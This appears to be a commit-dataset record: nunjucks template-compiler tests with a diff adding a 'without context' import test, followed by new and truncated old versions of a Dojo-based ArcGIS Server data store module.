render('{% asyncAll i in [0, 1, 2, 3, 4] %}-{{ i }}:{% include "async.html" %}-{% endall %}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('-0:somecontenthere\n-' +
'-1:somecontenthere\n-' +
'-2:somecontenthere\n-' +
'-3:somecontenthere\n-' +
'-4:somecontenthere\n-');
});
}
finish(done);
});
it('should compile operators', function(done) {
equal('{{ 3 + 4 - 5 * 6 / 10 }}', '4');
equal('{{ 4**5 }}', '1024');
equal('{{ 9//5 }}', '1');
equal('{{ 9%5 }}', '4');
equal('{{ -5 }}', '-5');
equal('{% if 3 < 4 %}yes{% endif %}', 'yes');
equal('{% if 3 > 4 %}yes{% endif %}', '');
equal('{% if 9 >= 10 %}yes{% endif %}', '');
equal('{% if 10 >= 10 %}yes{% endif %}', 'yes');
equal('{% if 9 <= 10 %}yes{% endif %}', 'yes');
equal('{% if 10 <= 10 %}yes{% endif %}', 'yes');
equal('{% if 11 <= 10 %}yes{% endif %}', '');
equal('{% if 10 != 10 %}yes{% endif %}', '');
equal('{% if 10 == 10 %}yes{% endif %}', 'yes');
equal('{% if foo(20) > bar %}yes{% endif %}',
{ foo: function(n) { return n - 1; },
bar: 15 },
'yes');
equal('{% if 1 in [1, 2] %}yes{% endif %}', 'yes');
equal('{% if 1 in [2, 3] %}yes{% endif %}', '');
equal('{% if 1 not in [1, 2] %}yes{% endif %}', '');
equal('{% if 1 not in [2, 3] %}yes{% endif %}', 'yes');
equal('{% if "a" in vals %}yes{% endif %}',
{'vals': ['a', 'b']}, 'yes');
finish(done);
});
it('should compile macros', function(done) {
equal('{% macro foo() %}This is a macro{% endmacro %}' +
'{{ foo() }}',
'This is a macro');
equal('{% macro foo(x, y) %}{{ y }}{% endmacro %}' +
'{{ foo(1) }}',
'');
equal('{% macro foo(x) %}{{ x|title }}{% endmacro %}' +
'{{ foo("foo") }}',
'Foo');
equal('{% macro foo(x, y) %}{{ y }}{% endmacro %}' +
'{{ foo(1, 2) }}',
'2');
equal('{% macro foo(x, y, z=5) %}{{ y }}{% endmacro %}' +
'{{ foo(1, 2) }}',
'2');
equal('{% macro foo(x, y, z=5) %}{{ z }}{% endmacro %}' +
'{{ foo(1, 2) }}',
'5');
equal('{% macro foo(x, y, z=5) %}{{ y }}{% endmacro %}' +
'{{ foo(1, y=2) }}',
'2');
equal('{% macro foo(x, y, z=5) %}{{ x }}{{ y }}{{ z }}' +
'{% endmacro %}' +
'{{ foo(x=1, y=2) }}',
'125');
equal('{% macro foo(x, y, z=5) %}{{ x }}{{ y }}{{ z }}' +
'{% endmacro %}' +
'{{ foo(x=1, y=2, z=3) }}',
'123');
equal('{% macro foo(x, y=2, z=5) %}{{ x }}{{ y }}{{ z }}' +
'{% endmacro %}' +
'{{ foo(1, z=3) }}',
'123');
equal('{% macro foo(x, y=2, z=5) %}{{ x }}{{ y }}{{ z }}' +
'{% endmacro %}' +
'{{ foo(1) }}',
'125');
equal('{% macro foo(x, y=2, z=5) %}{{ x }}{{ y }}{{ z }}' +
'{% endmacro %}' +
'{{ foo(1, 10, 20) }}',
'11020');
equal('{% extends "base.html" %}' +
'{% macro foo(x, y=2, z=5) %}{{ x }}{{ y }}{{ z }}' +
'{% endmacro %}' +
'{% block block1 %}' +
'{{ foo(1) }}' +
'{% endblock %}',
'Foo125BazFizzle');
equal('{% block bar %}' +
'{% macro foo(x, y=2, z=5) %}{{ x }}{{ y }}{{ z }}' +
'{% endmacro %}' +
'{% endblock %}' +
'{% block baz %}' +
'{{ foo(1) }}' +
'{% endblock %}',
'125');
equal('{% macro foo() %}{% include "include.html" %}{% endmacro %}' +
'{{ foo() }}',
{ name: 'james' },
'FooInclude james');
finish(done);
});
it('should compile call blocks', function(done) {
equal('{% macro wrap(el) %}' +
'<{{ el }}>{{ caller() }}</{{ el }}>' +
'{% endmacro %}' +
'{% call wrap("div") %}Hello{% endcall %}',
'<div>Hello</div>');
finish(done);
});
it('should compile call blocks with args', function(done) {
equal('{% macro list(items) %}' +
'<ul>{% for i in items %}' +
'<li>{{ caller(i) }}</li>' +
'{% endfor %}</ul>' +
'{% endmacro %}' +
'{% call(item) list(["a", "b"]) %}{{ item }}{% endcall %}',
'<ul><li>a</li><li>b</li></ul>');
finish(done);
});
it('should compile call blocks using imported macros', function(done) {
equal('{% import "import.html" as imp %}' +
'{% call imp.wrap("span") %}Hey{% endcall %}',
'<span>Hey</span>');
finish(done);
});
it('should import templates', function(done) {
equal('{% import "import.html" as imp %}' +
'{{ imp.foo() }} {{ imp.bar }}',
"Here's a macro baz");
equal('{% from "import.html" import foo as baz, bar %}' +
'{{ bar }} {{ baz() }}',
"baz Here's a macro");
// TODO: Should the for loop create a new frame for each
// iteration? As it is, `num` is set on all iterations after
// the first one sets it
equal('{% for i in [1,2] %}' +
'start: {{ num }}' +
'{% from "import.html" import bar as num %}' +
'end: {{ num }}' +
'{% endfor %}' +
'final: {{ num }}',
'start: end: bazstart: bazend: bazfinal: ');
finish(done);
});
it('should import templates with context', function(done) {
equal('{% set bar = "BAR" %}' +
'{% import "import-context.html" as imp with context %}' +
'{{ imp.foo() }}',
"Here's BAR");
equal('{% set bar = "BAR" %}' +
'{% from "import-context.html" import foo with context %}' +
'{{ foo() }}',
"Here's BAR");
finish(done);
});
it('should inherit templates', function(done) {
equal('{% extends "base.html" %}', 'FooBarBazFizzle');
equal('hola {% extends "base.html" %} hizzle mumble', 'FooBarBazFizzle');
equal('{% extends "base.html" %}{% block block1 %}BAR{% endblock %}',
'FooBARBazFizzle');
equal('{% extends "base.html" %}' +
'{% block block1 %}BAR{% endblock %}' +
'{% block block2 %}BAZ{% endblock %}',
'FooBARBAZFizzle');
equal('hola {% extends tmpl %} hizzle mumble',
{ tmpl: 'base.html' },
'FooBarBazFizzle');
var count = 0;
render('{% extends "base.html" %}' +
'{% block notReal %}{{ foo() }}{% endblock %}',
{ foo: function() { count++; }},
function(err, res) {
expect(count).to.be(0);
});
finish(done);
});
it('should render nested blocks in child template', function(done) {
equal('{% extends "base.html" %}' +
'{% block block1 %}{% block nested %}BAR{% endblock %}{% endblock %}',
'FooBARBazFizzle');
finish(done);
});
it('should render parent blocks with super()', function(done) {
equal('{% extends "base.html" %}' +
'{% block block1 %}{{ super() }}BAR{% endblock %}',
'FooBarBARBazFizzle');
// two levels of `super` should work
equal('{% extends "base-inherit.html" %}' +
'{% block block1 %}*{{ super() }}*{% endblock %}',
'Foo**Bar**BazFizzle');
finish(done);
});
it('should include templates', function(done) {
equal('hello world {% include "include.html" %}',
'hello world FooInclude ');
equal('hello world {% include "include.html" %}',
{ name: 'james' },
'hello world FooInclude james');
equal('hello world {% include tmpl %}',
{ name: 'thedude', tmpl: "include.html" },
'hello world FooInclude thedude');
equal('hello world {% include data.tmpl %}',
{ name: 'thedude', data: {tmpl: "include.html"} },
'hello world FooInclude thedude');
finish(done);
});
/**
* This test checks that this issue is resolved: http://stackoverflow.com/questions/21777058/loop-index-in-included-nunjucks-file
*/
it('should have access to "loop" inside an include', function(done) {
equal('{% for item in [1,2,3] %}{% include "include-in-loop.html" %}{% endfor %}',
'1,0,true\n2,1,false\n3,2,false\n');
equal('{% for k,v in items %}{% include "include-in-loop.html" %}{% endfor %}',
{items: {'a': 'A', 'b': 'B'}},
'1,0,true\n2,1,false\n');
finish(done);
});
it('should maintain nested scopes', function(done) {
equal('{% for i in [1,2] %}' +
'{% for i in [3,4] %}{{ i }}{% endfor %}' +
'{{ i }}{% endfor %}',
'341342');
finish(done);
});
it('should allow blocks in for loops', function(done) {
equal('{% extends "base2.html" %}' +
'{% block item %}hello{{ item }}{% endblock %}',
'hello1hello2');
finish(done);
});
it('should make includes inherit scope', function(done) {
equal('{% for item in [1,2] %}' +
'{% include "item.html" %}' +
'{% endfor %}',
'showing 1showing 2');
finish(done);
});
it('should compile a set block', function(done) {
equal('{% set username = "foo" %}{{ username }}',
{ username: 'james' },
'foo');
equal('{% set x, y = "foo" %}{{ x }}{{ y }}',
'foofoo');
equal('{% set x = 1 + 2 %}{{ x }}',
'3');
equal('{% for i in [1] %}{% set foo=1 %}{% endfor %}{{ foo }}',
{ foo: 2 },
'2');
equal('{% include "set.html" %}{{ foo }}',
{ foo: 'bar' },
'bar');
equal('{% set username = username + "pasta" %}{{ username }}',
{ username: 'basta' },
'bastapasta');
// `set` should only set within its current scope
equal('{% for i in [1] %}{% set val=5 %}{% endfor %}' +
'{{ val }}',
'');
equal('{% for i in [1,2,3] %}' +
'{% if not val %}{% set val=5 %}{% endif %}' +
'{% set val=val+1 %}{{ val }}' +
'{% endfor %}' +
'afterwards: {{ val }}',
'678afterwards: ');
// however, like Python, if a variable has been set in an
// above scope, any other set should correctly resolve to
// that frame
equal('{% set val=1 %}' +
'{% for i in [1] %}{% set val=5 %}{% endfor %}' +
'{{ val }}',
'5');
equal('{% set val=5 %}' +
'{% for i in [1,2,3] %}' +
'{% set val=val+1 %}{{ val }}' +
'{% endfor %}' +
'afterwards: {{ val }}',
'678afterwards: 8');
finish(done);
});
it('should compile set with frame references', function(done) {
equal('{% set username = user.name %}{{ username }}',
{ user: { name: 'james' } },
'james');
finish(done);
});
it('should compile set assignments of the same variable', function(done) {
equal('{% set x = "hello" %}' +
'{% if false %}{% set x = "world" %}{% endif %}' +
'{{ x }}',
'hello');
equal('{% set x = "blue" %}' +
'{% if true %}{% set x = "green" %}{% endif %}' +
'{{ x }}',
'green');
finish(done);
});
it('should throw errors', function(done) {
render('{% from "import.html" import boozle %}',
{},
{ noThrow: true },
function(err) {
expect(err).to.match(/cannot import 'boozle'/);
});
finish(done);
});
it('should allow custom tag compilation', function(done) {
function testExtension() {
this.tags = ['test'];
this.parse = function(parser, nodes) {
parser.advanceAfterBlockEnd();
var content = parser.parseUntilBlocks("endtest");
var tag = new nodes.CallExtension(this, 'run', null, [content]);
parser.advanceAfterBlockEnd();
return tag;
};
this.run = function(context, content) {
// Reverse the string
return content().split("").reverse().join("");
};
}
var opts = { extensions: { 'testExtension': new testExtension() }};
render('{% test %}123456789{% endtest %}', null, opts, function(err, res) {
expect(res).to.be('987654321');
});
finish(done);
});
it('should allow custom tag compilation without content', function(done) {
function testExtension() {
this.tags = ['test'];
this.parse = function(parser, nodes) {
var tok = parser.nextToken();
var args = parser.parseSignature(null, true);
parser.advanceAfterBlockEnd(tok.value);
return new nodes.CallExtension(this, 'run', args, null);
};
this.run = function(context, arg1) {
// Reverse the string
return arg1.split("").reverse().join("");
};
}
var opts = { extensions: { 'testExtension': new testExtension() }};
render('{% test "123456" %}', null, opts, function(err, res) {
expect(res).to.be('654321');
});
finish(done);
});
it('should allow complicated custom tag compilation', function(done) {
function testExtension() {
this.tags = ['test'];
/* normally this is automatically done by Environment */
this._name = 'testExtension';
this.parse = function(parser, nodes, lexer) {
var body, intermediate = null;
parser.advanceAfterBlockEnd();
body = parser.parseUntilBlocks('intermediate', 'endtest');
if(parser.skipSymbol('intermediate')) {
parser.skip(lexer.TOKEN_BLOCK_END);
intermediate = parser.parseUntilBlocks('endtest');
}
parser.advanceAfterBlockEnd();
return new nodes.CallExtension(this, 'run', null, [body, intermediate]);
};
this.run = function(context, body, intermediate) {
var output = body().split("").join(",");
if(intermediate) {
// Reverse the string.
output += intermediate().split("").reverse().join("");
}
return output;
};
}
var opts = { extensions: { 'testExtension': new testExtension() }};
render('{% test %}abcdefg{% endtest %}', null, opts, function(err, res) {
expect(res).to.be('a,b,c,d,e,f,g');
});
render('{% test %}abcdefg{% intermediate %}second half{% endtest %}',
null,
opts,
function(err, res) {
expect(res).to.be('a,b,c,d,e,f,gflah dnoces');
});
finish(done);
});
it('should allow custom tag with args compilation', function(done) {
function testExtension() {
this.tags = ['test'];
/* normally this is automatically done by Environment */
this._name = 'testExtension';
this.parse = function(parser, nodes, lexer) {
var body, args = null;
var tok = parser.nextToken();
// passing true makes it tolerate when no args exist
args = parser.parseSignature(true);
parser.advanceAfterBlockEnd(tok.value);
body = parser.parseUntilBlocks('endtest');
parser.advanceAfterBlockEnd();
return new nodes.CallExtension(this, 'run', args, [body]);
};
this.run = function(context, prefix, kwargs, body) {
if(typeof prefix == 'function') {
body = prefix;
prefix = '';
kwargs = {};
}
else if(typeof kwargs == 'function') {
body = kwargs;
kwargs = {};
}
var output = prefix + body().split('').reverse().join('');
if(kwargs.cutoff) {
output = output.slice(0, kwargs.cutoff);
}
return output;
};
}
var opts = { extensions: {'testExtension': new testExtension() }};
render('{% test %}foobar{% endtest %}', null, opts, function(err, res) {
expect(res).to.be('raboof');
});
render('{% test("biz") %}foobar{% endtest %}', null, opts, function(err, res) {
expect(res).to.be('bizraboof');
});
render('{% test("biz", cutoff=5) %}foobar{% endtest %}', null, opts, function(err, res) {
expect(res).to.be('bizra');
});
finish(done);
});
it('should not autoescape by default', function(done) {
equal('{{ foo }}', { foo: '"\'<>&'}, '"\'<>&');
finish(done);
});
it('should autoescape if autoescape is on', function(done) {
render('{{ foo }}', { foo: '"\'<>&'}, { autoescape: true }, function(err, res) {
expect(res).to.be('"'<>&');
});
render('{{ foo|reverse }}', { foo: '"\'<>&'}, { autoescape: true }, function(err, res) {
expect(res).to.be('&><'"');
});
render('{{ foo|reverse|safe }}', { foo: '"\'<>&'}, { autoescape: true }, function(err, res) {
expect(res).to.be('&><\'"');
});
finish(done);
});
it('should not autoescape safe strings', function(done) {
render('{{ foo|safe }}', { foo: '"\'<>&'}, { autoescape: true }, function(err, res) {
expect(res).to.be('"\'<>&');
});
finish(done);
});
it('should not autoescape macros', function(done) {
render(
'{% macro foo(x, y) %}{{ x }} and {{ y }}{% endmacro %}' +
'{{ foo("<>&", "<>") }}',
null,
{ autoescape: true },
function(err, res) {
expect(res).to.be('<>& and <>');
}
);
render(
'{% macro foo(x, y) %}{{ x|safe }} and {{ y }}{% endmacro %}' +
'{{ foo("<>&", "<>") }}',
null,
{ autoescape: true },
function(err, res) {
expect(res).to.be('<>& and <>');
}
);
finish(done);
});
it('should not autoescape super()', function(done) {
render(
'{% extends "base3.html" %}' +
'{% block block1 %}{{ super() }}{% endblock %}',
null,
{ autoescape: true },
function(err, res) {
expect(res).to.be('<b>Foo</b>');
}
);
finish(done);
});
it('should not autoescape when extension set false', function(done) {
function testExtension() {
this.tags = ['test'];
this.autoescape = false;
this.parse = function(parser, nodes) {
var tok = parser.nextToken();
var args = parser.parseSignature(null, true);
parser.advanceAfterBlockEnd(tok.value);
return new nodes.CallExtension(this, 'run', args, null);
};
this.run = function(context) {
// Reverse the string
return '<b>Foo</b>';
};
}
var opts = {
extensions: { 'testExtension': new testExtension() },
autoescape: true
};
render(
'{% test "123456" %}',
null,
opts,
function(err, res) {
expect(res).to.be('<b>Foo</b>');
}
);
finish(done);
});
it('should pass context as this to filters', function(done) {
render(
'{{ foo | hallo }}',
{ foo: 1, bar: 2 },
{ filters: {
'hallo': function(foo) { return foo + this.lookup('bar'); }
}},
function(err, res) {
expect(res).to.be('3');
}
);
finish(done);
});
it('should render regexs', function(done) {
equal('{{ r/name [0-9] \\// }}',
'/name [0-9] \\//');
equal('{{ r/x/gi }}',
'/x/gi');
finish(done);
});
});
})();
| add test to ensure without context works
| tests/compiler.js | add test to ensure without context works | <ide><path>ests/compiler.js
<ide> finish(done);
<ide> });
<ide>
<add> it('should import templates without context', function(done) {
<add> equal('{% set bar = "BAR" %}' +
<add> '{% import "import-context.html" as imp without context %}' +
<add> '{{ imp.foo() }}',
<add> "Here's ");
<add>
<add> equal('{% set bar = "BAR" %}' +
<add> '{% from "import-context.html" import foo without context %}' +
<add> '{{ foo() }}',
<add> "Here's ");
<add>
<add> finish(done);
<add> });
<add>
<ide> it('should inherit templates', function(done) {
<ide> equal('{% extends "base.html" %}', 'FooBarBazFizzle');
<ide> equal('hola {% extends "base.html" %} hizzle mumble', 'FooBarBazFizzle'); |
|
JavaScript | mit | 4037b3d7535ff17b14e87e384fd2f8bbc8a7ce6b | 0 | thollingshead/arcgis-server-store,thollingshead/arcgis-server-store,btfou/dojo-esri-arcgis-server-store,thollingsheadesri/dojo-esri-arcgis-server-store,thollingsheadesri/arcgis-server-store,thollingsheadesri/dojo-esri-arcgis-server-store,thollingsheadesri/arcgis-server-store,btfou/dojo-esri-arcgis-server-store | define([
'dojo/_base/array',
'dojo/_base/declare',
'dojo/_base/lang',
'dojo/Deferred',
'dojo/store/util/QueryResults',
'dojo/when',
'esri/request',
'esri/tasks/query'
], function(
array, declare, lang,
Deferred, QueryResults, when,
esriRequest, Query
) {
var _loadDfd;
var _loadWrapper = function(callback, context) {
return function() {
var args = arguments;
return _loadDfd.then(function() {
return callback.apply(context, args);
});
};
};
var _loadQueryWrapper = function(callback, context) {
return function() {
var dfd = new Deferred();
dfd.total = new Deferred();
var args = arguments;
_loadDfd.then(function() {
try {
var callbackDfd = callback.apply(context, args);
callbackDfd.then(dfd.resolve, dfd.reject);
callbackDfd.total.then(dfd.total.resolve, dfd.total.reject);
} catch (e) {
dfd.reject(e);
dfd.total.reject(e);
}
});
return QueryResults(dfd); // jshint ignore:line
};
};
return declare(null, {
/**
* Identity property. Values should be unique
* @type {String}
*/
idProperty: 'OBJECTID',
/**
* Flatten attributes to top-level object
* @type {Boolean}
*/
flatten: true,
/**
* Include geometry in data
* @type {Boolean}
*/
returnGeometry: true,
constructor: function(options) {
// Initialize outFields
this.outFields = ['*'];
// Mixin Options
declare.safeMixin(this, options);
// Initialize Capabilities
this.capabilities = {
Data: false,
Query: false,
Create: false,
Delete: false,
Update: false,
Editing: false
};
// Get Service Info
if (this.url) {
_loadDfd = esriRequest({
url: this.url,
content: {
f: 'json'
},
handleAs: 'json',
callbackParamName: 'callback'
}).then(lang.hitch(this, '_initStore'), function(error) {
throw new Error('Invalid url. Cannot create store.');
});
} else {
throw new Error('Missing required property: \'url\'.');
}
// Wrap functions until loaded
var get = this.get;
var add = this.add;
var put = this.put;
var remove = this.remove;
var query = this.query;
_loadDfd.then(lang.hitch(this, function() {
this.get = get;
this.add = add;
this.put = put;
this.remove = remove;
this.query = query;
}));
this.get = _loadWrapper(this.get, this);
this.add = _loadWrapper(this.add, this);
this.put = _loadWrapper(this.put, this);
this.remove = _loadWrapper(this.remove, this);
this.query = _loadQueryWrapper(this.query, this);
},
/**
* Retrieves and object by its identity
* @param {Number} id The identity to use to lookup the object
* @return {Object}
*/
get: function(id) {
if (this._serviceInfo.templates ? !this.capabilities.Query : !this.capabilities.Data) {
throw new Error('Get not supported.');
} else {
var query = new Query();
query.outFields = this.outFields;
query.returnGeometry = this.returnGeometry;
if (typeof id === 'string') {
query.where = this.idProperty + ' = \'' + id + '\'';
} else {
query.where = this.idProperty + ' = ' + id;
}
return esriRequest({
url: this.url + '/query',
content: lang.mixin(query.toJson(), {
f: 'json'
}),
handleAs: 'json',
callbackParamName: 'callback'
}).then(lang.hitch(this, function(featureSet) {
if (featureSet.features && featureSet.features.length) {
return this.flatten ? this._flatten(featureSet.features[0]) : featureSet.features[0];
} else {
return undefined;
}
}));
}
},
/**
* Return an object's identity
* @param {Object} object The object to get the identity from
* @return {Number|String}
*/
getIdentity: function(object) {
return this.flatten ? object[this.idProperty] : lang.getObject('attributes.' + this.idProperty, false, object);
},
/**
* Stores an object
* @param {Object} object The object to store.
* @param {Object} options Additional options for storing objects
* @return {Number}
*/
put: function(object, options) {
options = options || {};
var id = ('id' in options) ? options.id : this.getIdentity(object);
if (typeof id !== 'undefined' && options.overwrite !== false) {
var dfd = new Deferred();
when(options.overwrite || this.get(id)).then(lang.hitch(this, function(existing) {
if (existing) {
if (this.capabilities.Update) {
object = this._unflatten(lang.clone(object));
lang.setObject('attributes.' + this.idProperty, id, object);
esriRequest({
url: this.url + '/updateFeatures',
content: {
f: 'json',
features: JSON.stringify([object])
},
handleAs: 'json',
callbackParamName: 'callback'
}, {
usePost: true
}).then(function(response) {
if (response.updateResults && response.updateResults.length) {
dfd.resolve(response.updateResults[0].success ? response.updateResults[0].objectId : undefined);
}
}, dfd.reject);
} else {
dfd.reject(new Error('Update not supported.'));
}
} else {
when(this.add(object, options)).then(dfd.resolve, dfd.reject);
}
}));
return dfd.promise;
} else if (options.overwrite) {
throw new Error('Cannot update object with no id.');
} else {
return this.add(object, options);
}
},
/**
* Creates an object, throws an error if the object already exists
* @param {Object} object The object to store.
* @param {Object} options Additional options for creating objects
* @return {Number}
*/
add: function(object, options) {
options = options || {};
if (this.capabilities.Create) {
var id = ('id' in options) ? options.id : this.getIdentity(object);
var clone = this._unflatten(lang.clone(object));
lang.setObject('attributes.' + this.idProperty, id, clone);
if (typeof id != 'undefined' && this.idProperty === this._serviceInfo.objectIdField) {
console.warn('Cannot set id on new object.');
}
return esriRequest({
url: this.url + '/addFeatures',
content: {
f: 'json',
features: JSON.stringify([clone])
},
handleAs: 'json',
callbackParamName: 'callback'
}, {
usePost: true
}).then(lang.hitch(this, function(response) {
if (response.addResults && response.addResults.length) {
if (this.idProperty === this._serviceInfo.objectIdField) {
var oid = response.addResults[0].success ? response.addResults[0].objectId : undefined;
lang.setObject((this.flatten ? '' : 'attributes.') + this.idProperty, oid, object);
return oid;
} else {
return response.addResults[0].success ? id : undefined;
}
}
}));
} else {
throw new Error('Add not supported.');
}
},
/**
* Deletes an object by its identity
* @param {Number} id The identity to use to delete the object
*/
remove: function(id) {
if (this.capabilities.Delete) {
var where = '';
if (typeof id === 'string') {
where = this.idProperty + ' = \'' + id + '\'';
} else if (typeof id !== 'undefined') {
where = this.idProperty + ' = ' + id;
}
return esriRequest({
url: this.url + '/deleteFeatures',
content: {
f: 'json',
where: where
},
handleAs: 'json',
callbackParamName: 'callback'
}, {
usePost: true
}).then(function(response) {
return !!(response && response.success);
});
} else {
throw new Error('Remove not supported.');
}
},
/**
* Queries the store for objects. This does not alter the store, but returns
* a set of data from the store.
* @param {String|Object|Function} query The query to use for retrieving objects from the store
* @param {Object} options Optional arguments to apply to the result set
* @return {Object} The results of the query, extended with iterative methods.
*/
query: function(query, options) {
query = (query instanceof Query) ? query : this._objectToQuery(query);
options = options || {};
if (this._serviceInfo.templates ? !this.capabilities.Query : !this.capabilities.Data) {
throw new Error('Query not supported.');
} else {
// Default Query Parameters
query.where = query.where || '1=1';
query.outFields = query.outFields || this.outFields;
query.returnGeometry = this.returnGeometry;
// Include Options
if (options.sort) {
query.orderByFields = array.map(options.sort, function(sortInfo) {
return sortInfo.descending ? sortInfo.attribute + ' DESC' : sortInfo.attribute;
});
}
var paginate = false;
options.start = isFinite(options.start) ? options.start : 0;
options.count = isFinite(options.count) ? options.count : 0;
if (options.start > 0 || options.count > 0) {
if (options.count > this._serviceInfo.maxRecordCount) {
console.warn('Cannot return more than ' + this._serviceInfo.maxRecordCount + ' items.');
}
if (lang.getObject('_serviceInfo.advancedQueryCapabilities.supportsPagination', false, this)) {
query.start = options.start;
query.num = options.count;
if (!query.orderByFields || query.orderByFields.length < 1) {
query.orderByFields = [this.idProperty];
}
} else {
paginate = true;
}
}
// Peform Query
var dfd = new Deferred();
if (paginate && options.start + options.count > this._serviceInfo.maxRecordCount) {
dfd.total = esriRequest({
url: this.url + '/query',
content: lang.mixin(query.toJson(), {
orderByFields: '',
returnIdsOnly: true,
f: 'json'
}),
handleAs: 'json',
callbackParamName: 'callback'
}).then(lang.hitch(this, function(response) {
if (response.objectIds) {
query.where = '';
query.objectIds = response.objectIds.slice(options.start, options.start + options.count);
esriRequest({
url: this.url + '/query',
content: lang.mixin(query.toJson(), {
f: 'json'
}),
handleAs: 'json',
callbackParamName: 'callback'
}).then(lang.hitch(this, function(featureSet) {
if (this.flatten) {
featureSet.features = array.map(featureSet.features, lang.hitch(this, function(feature) {
return this._flatten(feature);
}));
}
dfd.resolve(featureSet.features);
}), dfd.reject);
return response.objectIds.length;
} else {
dfd.reject(response);
}
}), dfd.reject);
} else {
esriRequest({
url: this.url + '/query',
content: lang.mixin(query.toJson(), {
f: 'json'
}),
handleAs: 'json',
callbackParamName: 'callback'
}).then(lang.hitch(this, function(featureSet) {
if (paginate) {
featureSet.features = featureSet.features.slice(options.start, options.start + options.count);
}
if (this.flatten) {
featureSet.features = array.map(featureSet.features, lang.hitch(this, function(feature) {
return this._flatten(feature);
}));
}
dfd.resolve(featureSet.features);
}), dfd.reject);
dfd.total = esriRequest({
url: this.url + '/query',
content: lang.mixin(query.toJson(), {
orderByFields: '',
returnCountOnly: true,
f: 'json'
}),
handleAs: 'json',
callbackParamName: 'callback'
}).then(function(response) {
return response.count;
});
}
return QueryResults(dfd); // jshint ignore:line
}
},
/**
* Starts a new transaction.
* @return {Object}
*/
transaction: function() {
},
/**
* Retrieves the children of an object
* @param {Object} parent The object of which to find children.
* @param {Object} options Additional options to apply to the retrieval of the children.
* @return {Object} A result set of the children of the parent object.
*/
getChildren: function(parent, options) {
},
/**
* Returns any metadata about the object. This may include attribution,
* cache directives, history, or version information.
* @param {Object} object The object for which to return metadata.
* @return {Object}
*/
getMetadata: function(object) {
},
/**
* Flatten attributes to top-level object
* @param {Object} object Object to flatten
* @return {Object} Flattened object
*/
_flatten: function(object) {
if (object.attributes) {
object = lang.mixin(object, object.attributes);
delete object.attributes;
}
return object;
},
/**
* Unflatten attributes to ArcGIS Server structure
* @param {Object} object Object to unflatten
* @return {Object} Unflattened object
*/
_unflatten: function(object) {
var field, fields;
if (this.outFields.length && this.outFields[0] !== '*') {
fields = this.outFields;
} else {
fields = array.map(this._serviceInfo.fields, function(field) {
return field.name;
});
}
for (field in object) {
if (object.hasOwnProperty(field) && array.indexOf(fields, field) !== -1) {
lang.setObject('attributes.' + field, object[field], object);
delete object[field];
}
}
return object;
},
/**
* Initializes store with ArcGIS service information
* @param {Object} serviceInfo service information
*/
_initStore: function(serviceInfo) {
// Validate idProperty
var validIdProperty = false;
if (this.idProperty) {
validIdProperty = array.some(serviceInfo.fields, lang.hitch(this, function(field) {
return field.name === this.idProperty;
}));
}
if (!validIdProperty) {
if (serviceInfo.objectIdField) {
this.idProperty = serviceInfo.objectIdField;
} else {
array.some(serviceInfo.fields, lang.hitch(this, function(field) {
if (field.type === 'esriFieldTypeOID') {
this.idProperty = field.name;
}
}));
}
}
// Validate outFields
if (this.outFields.length && this.outFields[0] !== '*') {
this.outFields = array.filter(this.outFields, function(fieldName) {
return array.some(serviceInfo.fields, function(field) {
return field.name === fieldName;
});
});
// Add idProperty
if (array.indexOf(this.outFields, this.idProperty) === -1) {
this.outFields.push(this.idProperty);
}
} else {
this.outFields = ['*'];
}
// Capabilities
if (serviceInfo.capabilities) {
var capabilities = serviceInfo.capabilities.split(',');
array.forEach(capabilities, lang.hitch(this, function(capability) {
this.capabilities[capability] = true;
}));
}
// Save service info
this._serviceInfo = serviceInfo;
// Set loaded
this._loaded = true;
},
/**
* Parses an object hash to a SQL where clause
* @param {Object} object Object hash
* @return {Object} Query object with where clause
*/
_objectToQuery: function(object) {
var escape = false;
var clauses = [];
for (var key in object) {
if (object.hasOwnProperty(key)) {
value = object[key];
if (value instanceof RegExp && typeof value.toString === 'function') {
var value = value.toString();
// Replace JavaScript special characters with SQL special characters
value = value.replace(/(\\\\)|(%|_)|(\\\*|\\\?)|(\*)|(\?)/g, function(str, backslash, special, literal, star, question) {
escape = escape || !!special;
return special ? '\\' + str : literal ? literal[1] : star ? '%' : question ? '_' : str;
});
clauses.push(key + ' LIKE \'' + value + '\'');
} else if (typeof value === 'string') {
value = value.replace(/(\\|%|_)/g, function(str) {
return '\\' + str;
});
clauses.push(key + ' = \'' + value + '\'');
} else {
clauses.push(key + ' = ' + value);
}
}
}
if (!escape) {
clauses = array.map(clauses, function(clause) {
return clause.replace(/(\\.)/g, function(str) {
return str[1];
});
});
}
var query = new Query();
query.where = clauses.join(' AND ') + (escape ? ' ESCAPE \'\\\'' : '');
return query;
}
});
}); | ArcGISServerStore.js | define([
'dojo/_base/array',
'dojo/_base/declare',
'dojo/_base/lang',
'dojo/Deferred',
'dojo/store/util/QueryResults',
'dojo/when',
'esri/request',
'esri/tasks/query'
], function(
array, declare, lang,
Deferred, QueryResults, when,
esriRequest, Query
) {
var _loadDfd;
var _loadWrapper = function(callback, context) {
return function() {
var args = arguments;
return _loadDfd.then(function() {
return callback.apply(context, args);
});
};
};
var _loadQueryWrapper = function(callback, context) {
return function() {
var dfd = new Deferred();
dfd.total = new Deferred();
var args = arguments;
_loadDfd.then(function() {
try {
var callbackDfd = callback.apply(context, args);
callbackDfd.then(dfd.resolve, dfd.reject);
callbackDfd.total.then(dfd.total.resolve, dfd.total.reject);
} catch (e) {
dfd.reject(e);
dfd.total.reject(e);
}
});
return QueryResults(dfd); // jshint ignore:line
};
};
return declare(null, {
/**
* Identity property. Values should be unique
* @type {String}
*/
idProperty: 'OBJECTID',
/**
* Flatten attributes to top-level object
* @type {Boolean}
*/
flatten: true,
/**
* Include geometry in data
* @type {Boolean}
*/
returnGeometry: true,
constructor: function(options) {
// Initialize outFields
this.outFields = ['*'];
// Mixin Options
declare.safeMixin(this, options);
// Initialize Capabilities
this.capabilities = {
Data: false,
Query: false,
Create: false,
Delete: false,
Update: false,
Editing: false
};
// Get Service Info
if (this.url) {
_loadDfd = esriRequest({
url: this.url,
content: {
f: 'json'
},
handleAs: 'json',
callbackParamName: 'callback'
}).then(lang.hitch(this, '_initStore'), function(error) {
throw new Error('Invalid url. Cannot create store.');
});
} else {
throw new Error('Missing required property: \'url\'.');
}
// Wrap functions until loaded
var get = this.get;
var add = this.add;
var put = this.put;
var remove = this.remove;
var query = this.query;
_loadDfd.then(lang.hitch(this, function() {
this.get = get;
this.add = add;
this.put = put;
this.remove = remove;
this.query = query;
}));
this.get = _loadWrapper(this.get, this);
this.add = _loadWrapper(this.add, this);
